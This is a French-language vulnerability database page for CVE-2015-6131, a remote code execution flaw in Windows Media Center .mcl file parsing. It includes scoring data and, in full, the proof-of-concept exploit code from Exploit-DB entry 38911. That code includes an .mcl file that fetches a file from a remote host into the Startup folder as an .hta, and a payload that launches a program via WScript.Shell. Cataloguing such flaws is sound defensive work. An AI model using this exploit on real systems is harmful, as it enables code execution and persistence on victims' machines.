CVE-2015-6131 : Détail

CVE-2015-6131

A03-Injection
68.86%V3
Network
2015-12-09
10h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Windows Media Center in Microsoft Windows Vista SP2, Windows 7 SP1, Windows 8, and Windows 8.1 allows remote attackers to execute arbitrary code via a crafted .mcl file, aka "Media Center Library Parsing RCE Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 38911

Date de publication : 2015-12-08 23h00 +00:00
Auteur : Eduardo Braun Prado
EDB Vérifié : No

Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131) Software Vendor: Microsoft Software version : MS Windows Media Center latest version on any Windows OS. Software Vendor Homepage: http://www.microsoft.com CVE: CVE-2015-6131 Exploit Author: Eduardo Braun Prado Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team date: december 8, 2015 Vulnerability description: Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files. exploit code below: ----------- self-exec-1.mcl ------------------------------------ <application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html> ------------------------------------------------------------ ----------self-exec-2.mcl-------------------------------------- <application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close(); </script></html> ---------------------------------------------------------- -----Create-recordsetfile.hta -------------- <html><body onload="aa()"> <script language="VBScript"> function aa() defdir="." alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"". Set c = CreateObject("ADODB.Connection") co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;" c.Open co set rs =CreateObject("ADODB.Recordset") rs.Open "SELECT * from recordsetdata.txt", c al=rs.Save(defdir & "\recordsetfile.txt") rs.close end function </script></body></html> ------------------------------------------------------------------------------- ---------recordsetdata.txt------------------------------------------ <html> <script>a=new ActiveXObject('Wscript.Shell')</script> <script>a.Run('calc.exe',1);</script> </html> -------------------------------------------------------------------

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_vista >> Version -

Références

http://www.securitytracker.com/id/1034335
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/38911/
Tags : exploit, x_refsource_EXPLOIT-DB